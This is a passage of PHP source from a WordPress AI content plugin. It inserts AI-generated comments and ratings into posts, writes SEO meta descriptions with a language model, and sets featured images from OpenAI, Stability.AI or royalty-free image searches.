                                        if (isset($aiomatic_Spinner_Settings['no_approve']) && $aiomatic_Spinner_Settings['no_approve'] == 'on') 
                                        {
                                            $data['comment_approved'] = 0;
                                        }
                                        else
                                        {
                                            $data['comment_approved'] = 1;
                                        }
                                        $comment_id = wp_insert_comment($data);
                                        if($comment_id === false)
                                        {
                                            aiomatic_log_to_file('Failed to insert comment to post ID: ' . $post->ID);
                                        }
                                        else
                                        {
                                            update_post_meta($post->ID, $custom_name, "pub");
                                            if(!empty($star_count) && $post->post_type == 'product')
                                            {
                                                update_comment_meta($comment_id, 'rating', $star_count);
                                            }
                                        }
                                    }
                                }
                                if($comms_add == true)
                                {
                                    if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                    {
                                        $args = array();
                                        $args['ID'] = $post->ID;
                                        $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        remove_filter('title_save_pre', 'wp_filter_kses');
                                        update_post_meta($post->ID, $custom_name, "pub");
                                        $post_updated = wp_update_post($args);
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        add_filter('title_save_pre', 'wp_filter_kses');
                                        if (is_wp_error($post_updated)) {
                                            $errors = $post_updated->get_error_messages();
                                            foreach ($errors as $error) {
                                                aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                            }
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated comments.');
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['add_seo']) && $aiomatic_Spinner_Settings['add_seo'] != '' && $aiomatic_Spinner_Settings['add_seo'] != 'disabled')
                        {
                            if (isset($aiomatic_Spinner_Settings['seo_copy_excerpt']) && $aiomatic_Spinner_Settings['seo_copy_excerpt'] == 'on')
                            {
                                if(!empty($post->post_excerpt))
                                {
                                    $comm = $post->post_excerpt;
                                    if (trim($comm) != '') {
                                        if (isset($aiomatic_Spinner_Settings['seo_max_char']) && $aiomatic_Spinner_Settings['seo_max_char'] != '')
                                        {
                                            $comm = substr($comm, 0, intval($aiomatic_Spinner_Settings['seo_max_char']));
                                        } 
                                        aiomatic_save_seo_description($post->ID, trim($comm));
                                        update_post_meta($post->ID, $custom_name, "pub");
                                    }
                                }
                            }
                            else
                            {
                                $vision_file = '';
                                if (isset($aiomatic_Spinner_Settings['ai_seo']) && $aiomatic_Spinner_Settings['ai_seo'] != '')
                                {
                                    $ai_seo = $aiomatic_Spinner_Settings['ai_seo'];
                                }
                                else
                                {
                                    $ai_seo = 'Write a SEO meta description for the post title: %%post_title%%';
                                }
                                if (isset($aiomatic_Spinner_Settings['ai_vision_seo']) && $aiomatic_Spinner_Settings['ai_vision_seo'] == 'on')
                                {
                                    $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                    if($avatar !== false)
                                    {
                                        $vision_file = $avatar;
                                    }
                                }
                                $ai_seo = aiomatic_replaceSynergyShortcodes($ai_seo);
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                $user_name        = $author_obj->user_nicename;
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $ai_seo = replaceAIPostShortcodes($ai_seo, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_seo = trim($ai_seo);
                                if (isset($aiomatic_Spinner_Settings['seo_model']) && $aiomatic_Spinner_Settings['seo_model'] != '') {
                                    $seo_model = $aiomatic_Spinner_Settings['seo_model'];
                                }
                                else
                                {
                                    $seo_model = get_default_model_name($aiomatic_Main_Settings);
                                }
                                if (isset($aiomatic_Spinner_Settings['meta_assistant_id']) && $aiomatic_Spinner_Settings['meta_assistant_id'] != '') {
                                    $meta_assistant_id = $aiomatic_Spinner_Settings['meta_assistant_id'];
                                }
                                else
                                {
                                    $meta_assistant_id = '';
                                }
                                $xpost_link        = get_permalink($post->ID);
                                $date       = date('Y-m-d H:i:s', strtotime(current_time('mysql')));
                                $ai_seo_new = $ai_seo;
                                $query_token_count = count(aiomatic_encode($ai_seo_new));
                                if($query_token_count > $max_seed_tokens)
                                {
                                    $ai_seo_new = aiomatic_substr($ai_seo_new, 0, (0-($max_seed_tokens * 4)));
                                    $query_token_count = count(aiomatic_encode($ai_seo_new));
                                }
                                $available_tokens = aiomatic_compute_available_tokens($seo_model, $max_tokens, $ai_seo_new, $query_token_count);
                                $max_result_tokens = AIOMATIC_DEFAULT_MAX_TOKENS;
                                if($available_tokens > $max_result_tokens)
                                {
                                    $available_tokens = $max_result_tokens;
                                }
                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                {
                                    $string_len = strlen($ai_seo_new);
                                    $string_len = $string_len / 2;
                                    $string_len = intval(0 - $string_len);
                                    $ai_seo_new = aiomatic_substr($ai_seo_new, 0, $string_len);
                                    $ai_seo_new = trim($ai_seo_new);
                                    if(empty($ai_seo_new))
                                    {
                                        aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($ai_seo_new, true));
                                    }
                                    $query_token_count = count(aiomatic_encode($ai_seo_new));
                                    $available_tokens = $max_tokens - $query_token_count;
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    $api_service = aiomatic_get_api_service($token, $seo_model);
                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $seo_model . ') post SEO meta generator, with seed command: ' . $ai_seo_new);
                                }
                                $aierror = '';
                                $comm = '';
                                $finish_reason = '';
                                $generated_text = aiomatic_generate_text($token, $seo_model, $ai_seo_new, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'seoMetaGenerator', 0, $finish_reason, $aierror, true, false, false, $vision_file, '', 'user', $meta_assistant_id, $thread_id, '', 'disabled', '', false);
                                if($generated_text === false)
                                {
                                    aiomatic_log_to_file('SEO meta generator error: ' . $aierror);
                                }
                                else
                                {
                                    $comm = ucfirst(trim(nl2br(trim($generated_text))));
                                    $comm = str_replace('//', '', $comm);
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && trim($comm) !== '') 
                                {
                                    $api_service = aiomatic_get_api_service($token, $seo_model);
                                    aiomatic_log_to_file($api_service . ' responded successfully, SEO meta generated for post ID: ' . $post->ID);
                                }
                                if (trim($comm) != '') {
                                    if (isset($aiomatic_Spinner_Settings['seo_max_char']) && $aiomatic_Spinner_Settings['seo_max_char'] != '')
                                    {
                                        $comm = substr($comm, 0, intval($aiomatic_Spinner_Settings['seo_max_char']));
                                    } 
                                    aiomatic_save_seo_description($post->ID, trim($comm));
                                    update_post_meta($post->ID, $custom_name, "pub");
                                    if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                    {
                                        $args = array();
                                        $args['ID'] = $post->ID;
                                        $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        remove_filter('title_save_pre', 'wp_filter_kses');
                                        update_post_meta($post->ID, $custom_name, "pub");
                                        $post_updated = wp_update_post($args);
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        add_filter('title_save_pre', 'wp_filter_kses');
                                        if (is_wp_error($post_updated)) {
                                            $errors = $post_updated->get_error_messages();
                                            foreach ($errors as $error) {
                                                aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                            }
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated SEO meta.');
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['ai_featured_image']) && $aiomatic_Spinner_Settings['ai_featured_image'] != '' && $aiomatic_Spinner_Settings['ai_featured_image'] != 'disabled')
                        {
                            update_post_meta($post->ID, $custom_name, "pub");
                            if (isset($aiomatic_Spinner_Settings['image_size']) && trim($aiomatic_Spinner_Settings['image_size']) != '')
                            {
                                $image_size = trim($aiomatic_Spinner_Settings['image_size']);
                            }
                            else
                            {
                                $image_size = '1024x1024';
                            }
                            if (isset($aiomatic_Spinner_Settings['image_model']) && trim($aiomatic_Spinner_Settings['image_model']) != '')
                            {
                                $image_model = trim($aiomatic_Spinner_Settings['image_model']);
                            }
                            else
                            {
                                $image_model = 'dalle2';
                            }
                            if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                            {
                                $aicontent = trim(strip_tags($aiomatic_Spinner_Settings['ai_image_command']));
                                $aicontent = aiomatic_replaceSynergyShortcodes($aicontent);
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                $user_name        = $author_obj->user_nicename;
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $aicontent = replaceAIPostShortcodes($aicontent, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                            }
                            else
                            {
                                $aicontent = trim(strip_tags($final_content));
                                if(empty($aicontent))
                                {
                                    $aicontent = trim(strip_tags($post->post_excerpt));
                                }
                                if(empty($aicontent))
                                {
                                    $aicontent = trim(strip_tags($post_title));
                                    $last_char = aiomatic_substr($aicontent, -1, null);
                                    if(!ctype_punct($last_char))
                                    {
                                        $aicontent .= '.';
                                    }
                                }
                            }
                            if(isset($aiomatic_Spinner_Settings['ai_featured_image_source']) && $aiomatic_Spinner_Settings['ai_featured_image_source'] != '')
                            {
                                $fisource = $aiomatic_Spinner_Settings['ai_featured_image_source'];
                            }
                            else
                            {
                                $fisource = '1';
                            }
                            $img_saved = false;
                            if($fisource == '1')
                            {
                                $aicontent = trim($aicontent);
                                if(strlen($aicontent) > 400)
                                {
                                    $aicontent = aiomatic_substr($aicontent, 0, 400);
                                }
                                $skip_this_copy = true;
                                if(!function_exists('is_plugin_active'))
                                {
                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                }
                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                {
                                    $skip_this_copy = false;
                                }
                                $aierror = '';
                                $temp_get_imgs = aiomatic_generate_ai_image($token, 1, $aicontent, $image_size, 'editFeaturedImage', $skip_this_copy, 0, $aierror, $image_model);
                                if($temp_get_imgs !== false)
                                {
                                    foreach($temp_get_imgs as $tmpimg)
                                    {
                                        if (!aiomatic_generate_featured_image($tmpimg, $post->ID)) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('aiomatic_generate_featured_image failed using OpenAI/AiomaticAPI for ' . $tmpimg);
                                            }
                                        }
                                        else
                                        {
                                            $img_saved = true;
                                        }
                                        break;
                                    }
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to generated a featured image using OpenAI/AiomaticAPI: ' . $aierror);
                                    }
                                }
                            }
                            elseif($fisource == '2')
                            {
                                $aicontent = trim($aicontent);
                                if(strlen($aicontent) > 2000)
                                {
                                    $aicontent = aiomatic_substr($aicontent, 0, 2000);
                                }
                                if($image_size == '256x256')
                                {
                                    $width = '512';
                                    $height = '512';
                                }
                                elseif($image_size == '512x512')
                                {
                                    $width = '512';
                                    $height = '512';
                                }
                                elseif($image_size == '1024x1024')
                                {
                                    $width = '1024';
                                    $height = '1024';
                                }
                                else
                                {
                                    $width = '512';
                                    $height = '512';
                                }
                                $skip_this_copy = true;
                                if(!function_exists('is_plugin_active'))
                                {
                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                }
                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                {
                                    $skip_this_copy = false;
                                }
                                $ierror = '';
                                $temp_get_imgs = aiomatic_generate_stability_image($aicontent, $height, $width, 'editorFeaturedStableImage', 0, false, $ierror, $skip_this_copy, false);
                                if($temp_get_imgs !== false)
                                {
                                    $temp_get_img_local = $temp_get_imgs[0];
                                    if (!aiomatic_assign_featured_image_path($temp_get_img_local, $post->ID)) {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('aiomatic_assign_featured_image_path failed using Stability.AI for ' .$temp_get_imgs[1]);
                                        }
                                    }
                                    else
                                    {
                                        $img_saved = true;
                                    }
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to generated a featured image using Stability.AI: ' . $ierror);
                                    }
                                }
                            }
                            elseif($fisource == '3')
                            {
                                if(isset($aiomatic_Spinner_Settings['url_image_list']) && $aiomatic_Spinner_Settings['url_image_list'] != '')
                                {
                                    $url_image_list = $aiomatic_Spinner_Settings['url_image_list'];
                                }
                                else
                                {
                                    $url_image_list = '';
                                }
                                if ($url_image_list != '') 
                                {
                                    $zget_img = '';
                                    $zreplacement = str_replace(array('[', ']'), '', $post->post_title);
                                    $image_url_temp = str_replace('%%item_title%%', $zreplacement, $url_image_list);
                                    $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                        if(isset($matches[2]))
                                        {
                                            $chance = trim($matches[2], '[]');
                                        }
                                        else
                                        {
                                            $chance = '';
                                        }
                                        $arv = array();
                                        $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                        return $my_img;
                                    }, $image_url_temp);
                                    $spintax = new AIomatic_Spintax();
                                    $img_rulx = $spintax->Parse(trim($image_url_temp));
                                    $selected_img = aiomatic_select_ai_image($post->post_title, $img_rulx);
                                    if($selected_img === false)
                                    {
                                        $img_rulx = explode(',', $img_rulx);
                                        $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                        if($img_rulx != '')
                                        {
                                            $zget_img = $img_rulx;
                                        }
                                    }
                                    else
                                    {
                                        $zget_img = $selected_img;
                                    }
                                    if($zget_img != '')
                                    {
                                        if (!aiomatic_generate_featured_image($zget_img, $post->ID)) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('aiomatic_generate_featured_image failed using manual image: ' . $zget_img);
                                            }
                                        }
                                        else
                                        {
                                            $img_saved = true;
                                        }
                                    }
                                }
                            }
                            elseif($fisource == '0')
                            {
                                $img_set = false;
                                $img_attr = '';
                                $postID = $post->ID;
                                $post_excerpt = $post->post_excerpt;
                                $query_words = '';
                                $image_query = $post_title;
                                if (isset($aiomatic_Spinner_Settings['ai_image_command']) && $aiomatic_Spinner_Settings['ai_image_command'] != '')
                                {
                                    $image_query = $aiomatic_Spinner_Settings['ai_image_command'];
                                }
                                if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                {
                                    if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                    {
                                        try
                                        {
                                            if(!class_exists('TextRazor'))
                                            {
                                                require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                            }
                                            TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                            $textrazor = new TextRazor();
                                            $textrazor->addExtractor('entities');
                                            $response = $textrazor->analyze($aicontent);
                                            if (isset($response['response']['entities'])) 
                                            {
                                                foreach ($response['response']['entities'] as $entity) 
                                                {
                                                    $query_words = '';
                                                    if(isset($entity['entityEnglishId']))
                                                    {
                                                        $query_words = $entity['entityEnglishId'];
                                                    }
                                                    else
                                                    {
                                                        $query_words = $entity['entityId'];
                                                    }
                                                    if($query_words != '')
                                                    {
                                                        $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                        if(!empty($z_img))
                                                        {
                                                            if (!aiomatic_generate_featured_image($z_img, $post->ID)) {
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('aiomatic_generate_featured_image failed using royalty free image: ' . $z_img);
                                                                }
                                                            }
                                                            else
                                                            {
                                                                $img_saved = true;
                                                                $img_set = true;
                                                            }
                                                            break;
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        catch(Exception $e)
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                            }
                                        }
                                    }
                                }
                                elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                {
                                    if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                    {
                                        if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                        {
                                            $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                        }
                                        else
                                        {
                                            $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                        }
                                        if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                        {
                                            $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                        }
                                        else
                                        {
                                            $keyword_assistant_id = '';
                                        }
                                        $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                        $title_ai_command = str_replace('%%default_post_cats%%', '', $title_ai_command);
                                        $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                        $title_ai_command = array_filter($title_ai_command);
                                        if(count($title_ai_command) > 0)
                                        {
                                            $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                        }
                                        else
                                        {
                                            $title_ai_command = '';
                                        }
                                        $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                        if(!empty($title_ai_command))
                                        {
                                            $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                        }
                                        $title_ai_command = trim($title_ai_command);
                                        if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                        {
                                            $txt_content = aiomatic_get_web_page($title_ai_command);
                                            if ($txt_content !== FALSE) 
                                            {
                                                $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                $txt_content = array_filter($txt_content);
                                                if(count($txt_content) > 0)
                                                {
                                                    $txt_content = $txt_content[array_rand($txt_content)];
                                                    if(trim($txt_content) != '') 
                                                    {
                                                        $title_ai_command = $txt_content;
                                                        $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                        $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                    }
                                                }
                                            }
                                        }
                                        if(empty($title_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                            $title_ai_command = 'Extract a comma separated list of relevant keywords from the text: ' . trim(strip_tags($post_title));
                                        }
                                        if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                        {
                                            $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                        }
                                        $title_ai_command = trim($title_ai_command);
                                        if(empty($title_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API title seed expression provided(8)! ' . print_r($title_ai_command, true));
                                        }
                                        else
                                        {
                                            $query_token_count = count(aiomatic_encode($title_ai_command));
                                            $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($title_ai_command);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                $title_ai_command = trim($title_ai_command);
                                                $query_token_count = count(aiomatic_encode($title_ai_command));
                                                $available_tokens = $max_tokens - $query_token_count;
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $kw_model);
                                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $kw_model . ') for title text3: ' . $title_ai_command);
                                            }
                                            $aierror = '';
                                            $finish_reason = '';
                                            $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordCompletion', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', false);
                                            if($generated_text === false)
                                            {
                                                aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                $ai_title = '';
                                            }
                                            else
                                            {
                                                $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                $ai_titles = explode(',', $ai_title);
                                                foreach($ai_titles as $query_words)
                                                {
                                                    $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
